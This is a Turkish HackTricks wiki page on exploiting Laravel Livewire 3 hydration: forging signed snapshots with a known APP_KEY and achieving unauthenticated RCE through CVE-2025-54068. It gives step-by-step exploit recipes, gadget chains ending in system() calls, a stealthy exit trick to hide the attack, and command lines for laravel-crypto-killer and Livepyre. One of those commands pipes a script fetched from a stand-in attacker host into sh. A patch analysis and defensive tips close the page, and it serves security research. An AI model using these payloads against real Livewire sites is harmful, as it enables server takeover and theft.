Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Livewire state machine özeti

Livewire 3 bileşenleri, data, memo ve bir checksum içeren snapshots üzerinden durumlarını değiş tokuş eder. /livewire/update adresine yapılan her POST, JSON snapshot’ını sunucu tarafında yeniden hydrate eder ve sıraya alınmış calls/updates işlemlerini çalıştırır.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

APP_KEY’i elinde tutan herkes ( $hashKey türetmek için kullanılan) dolayısıyla HMAC’i yeniden hesaplayarak keyfi snapshots forge edebilir.

Complex properties, Livewire\Drawer\BaseUtils::isSyntheticTuple() tarafından tespit edilen synthetic tuples olarak kodlanır; her tuple [value, {"s":"<key>", ...meta}] şeklindedir. Hydration core, her tuple’ı HandleComponents::$propertySynthesizers içinde seçilen synth’e basitçe devreder ve çocuklar üzerinde recursive olarak ilerler:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Bu recursive tasarım, Livewire’i bir generic object-instantiation engine haline getirir; bir attacker tuple metadata üzerinde ya da recursion sırasında işlenen herhangi bir nested tuple üzerinde kontrol sahibi olduğunda.

Gadget primitive’leri veren Synthesizer’lar

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Her child’ı yeniden hydrate ettikten sonra new $meta['class']($value) oluşturur. Array constructor’a sahip herhangi bir class yaratılabilir ve her item kendi içinde synthetic tuple olabilir.
FormObjectSynth (form)new $meta['class']($component, $path) çağırır, ardından $hydrateChild üzerinden attacker-controlled child’lardan her public property’yi atar. İki loosely typed parameter kabul eden (veya default arg’lı) constructor’lar, arbitrary public property’lere ulaşmak için yeterlidir.
ModelSynth (mdl)key meta içinde yoksa return new $class; çalıştırır ve attacker kontrolündeki herhangi bir class’ın zero-argument instantiation’una izin verir.

Synth’ler her nested element üzerinde $hydrateChild çağırdığı için, tuple’lar recursive olarak üst üste yığılınca arbitrary gadget graph’ler inşa edilebilir.

APP_KEY biliniyorsa snapshot forgery

  1. Geçerli bir /livewire/update request’i yakala ve components[0].snapshot değerini decode et.
  2. Gadget class’lara işaret eden nested tuple’lar enjekte et ve checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) değerini yeniden hesapla.
  3. Snapshot’ı yeniden encode et, _token/memo alanlarını değiştirme, ve request’i replay et.

Minimal bir execution proof, Guzzle’s FnStream ve Flysystem’s ShardedPrefixPublicUrlGenerator kullanır. Bir tuple, constructor data { "__toString": "phpinfo" } ile FnStream oluşturur; sonraki tuple, $prefixes için [FnStreamInstance] ile ShardedPrefixPublicUrlGenerator oluşturur. Flysystem her prefix’i string’e cast ederken, PHP attacker-provided __toString callable’ını invoke eder ve argumentsiz herhangi bir function’ı çağırır.

Function call’lardan tam RCE’ye

Livewire’ın instantiation primitive’lerinden yararlanan Synacktiv, phpggc’nin Laravel/RCE4 chain’ini uyarlayarak hydration’ın public Queueable state’i deserialization tetikleyen bir object boot etmesini sağladı:

  1. Queueable traitIlluminate\Bus\Queueable kullanan herhangi bir object, public $chained alanını expose eder ve dispatchNextJobInChain() içinde unserialize(array_shift($this->chained)) çalıştırır.
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue), public $chained doldurulmuş halde CollectionSynth / FormObjectSynth üzerinden instantiate edilir.
  3. phpggc Laravel/RCE4Adapted$chained[0] içinde saklanan serialized blob, PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed yapısını kurar. Signed::__invoke() sonunda call_user_func_array($closure, $args) çağırır ve system($cmd) çalıştırılmasını sağlar.
  4. Stealth termination – ikinci bir FnStream callable’ı, örneğin [new Laravel\Prompts\Terminal(), 'exit'], verildiğinde request gürültülü bir exception yerine exit() ile biter ve HTTP response temiz kalır.

Snapshot forgery’yi otomatikleştirme

synacktiv/laravel-crypto-killer artık her şeyi birleştiren bir livewire mode ile geliyor:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Araç, yakalanan snapshot’u ayrıştırır, gadget tuple’larını enjekte eder, checksum’u yeniden hesaplar ve gönderilmeye hazır bir /livewire/update payload’ı yazdırır.

CVE-2025-54068 – APP_KEY olmadan RCE

Vendor advisory’ye göre, issue Livewire v3’ü etkiler (>= 3.0.0-beta.1 ve <= 3.6.3) ve yalnızca v3’e özeldir.

updates, snapshot checksum’u doğrulandıktan sonra component state’e merge edilir. Eğer snapshot içindeki bir property bir synthetic tuple ise (veya synthetic tuple haline gelirse), Livewire attacker-controlled update value’yu hydrate ederken onun meta’sını yeniden kullanır:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Typed olmayan bir Livewire component bulun ve public property’si olsun (örn. public $count;).
  2. O property’yi [] olarak ayarlayan bir update gönderin. Sonraki snapshot artık onu [[], {"s": "arr"}] olarak saklar.

Minimal bir type-juggling akışı şöyle görünür:

POST /livewire/update
...
"updates": {"count": []}

Sonra sonraki snapshot, arr synthesizer metadata’sını koruyan bir tuple saklar:

"count": [[], {"s": "arr"}]
  1. Başka bir updates payload’ı hazırlayın; bu kez property, [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] gibi tuple’ları gömen derin iç içe bir array içersin.
  2. Recursion sırasında hydrate(), her nested child’ı bağımsız olarak değerlendirir; bu yüzden saldırganın seçtiği synth key’leri/classes kabul edilir, outer tuple ve checksum hiç değişmemiş olsa bile.
  3. Aynı CollectionSynth/FormObjectSynth primitive’lerini yeniden kullanarak $chained[0] içinde phpggc payload bulunan bir Queueable gadget instantiate edin. Livewire forged updates’i işler, dispatchNextJobInChain() çağırır ve APP_KEY bilmeden system(<cmd>) noktasına ulaşır.

Bu çalışmanın temel nedenleri:

  • updates, snapshot checksum ile korunmaz.
  • getMetaForPath(), o property için daha önce hangi synth metadata’sı varsa ona güvenir; saldırgan, zayıf typing üzerinden bunu tuple’a zorla dönüştürmüş olsa bile.
  • Recursion ve zayıf typing, her nested array’in yeni bir tuple olarak yorumlanmasına izin verir; böylece keyfi synth key’leri ve keyfi classes sonunda hydration’a ulaşır.

Yüksek değerli pre-auth hedef: Filament login forms

Livewire üzerinde kurulu applications, çoğu zaman basit bir public $count; property’sinden bile daha kolay bir pre-auth yüzey açar. Örneğin Filament login pages, snapshot içinde zaten form tuple’ı olarak serialize edilmiş, zayıf typed bir $form object’i hydrate eder. Bu, “scalar -> array -> arr tuple” hazırlık adımını tamamen ortadan kaldırır:

  • Snapshot zaten şuna benzer bir şey içerir: {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}
  • Saldırgan, updates.form ile nested malicious tuples’ları doğrudan gönderebilir; çünkü recursion sonunda [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}] gibi children’ları yeniden yorumlayacaktır.
  • Bu yüzden FormObjectSynth objects açığa çıkaran pre-auth Livewire entrypoints özellikle caziptir: zaten hem instantiation hem de public-property assignment sağlarlar.

Patch analysis: update recursion sırasında raw metadata’yı koru

Fix, özel bir hydratePropertyUpdate() yolu ekler; böylece nested update values artık saldırgan kontrolündeki children üzerinde genel hydrate($child, ...) çağırmaz:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Yamanın güvenlik etkisi:

  • Nested updates, taze attacker-supplied tuple metadata’ya güvenmek yerine orijinal raw snapshot path’e karşı yeniden doğrulanır.
  • Recursive hydration artık çocukların s veya class değerlerini işlem sırasında yeniden tanımlamasına izin vermez.
  • Bu, hem arbitrary synthesizer switching hem de nested update arrays içinde arbitrary class selection saldırılarını engeller.

Livepyre – end-to-end exploitation

Livepyre hem APP_KEY-less CVE’yi hem de signed-snapshot path’ini otomatikleştirir:

  • Dağıtılmış Livewire sürümünü <script src="/livewire/livewire.js?id=HASH"> (veya ?v=HASH) ayrıştırarak parmak iziyle belirler ve hash’i vulnerable releases ile eşler.
  • Masum işlemleri yeniden oynatarak ve components[].snapshot alanını çıkararak baseline snapshots toplar.
  • Ya updates-only payload (CVE-2025-54068) ya da phpggc chain’i gömülü forged snapshot (known APP_KEY) üretir.
  • Bir snapshot içinde object-typed bir parametre bulunmazsa, Livepyre coercible bir property’ye ulaşmak için aday parametreleri brute-force etmeye geri döner.

Tipik kullanım:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check yıkıcı olmayan bir probe çalıştırır, -F version gating’i atlar, -H ve -P özel headers veya proxies ekler ve --function/--param gadget chain tarafından çağrılan php function’ını özelleştirir.

Defensive considerations

  • Düzeltmesi yapılmış Livewire builds’e yükseltin (vendor bulletin’e göre >= 3.6.4) ve CVE-2025-54068 için vendor patch’i dağıtın.
  • Livewire components içinde zayıf tiplenmiş public properties kullanmaktan kaçının; açık scalar types, property values’un array/tuple’lara coerced edilmesini engeller.
  • Yalnızca gerçekten ihtiyaç duyduğunuz synthesizers’ları register edin ve user-controlled metadata’yı ($meta['class']) untrusted olarak değerlendirin.
  • Bir property’sinin JSON type’ını değiştiren updates’i (ör. scalar -> array) açıkça izin verilmedikçe reddedin ve eski tuples’ı yeniden kullanmak yerine synth metadata’yı yeniden türetin.
  • Herhangi bir disclosure sonrasında APP_KEY’i hemen rotate edin; çünkü code-base ne kadar patched olursa olsun offline snapshot forging’i mümkün kılar.

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin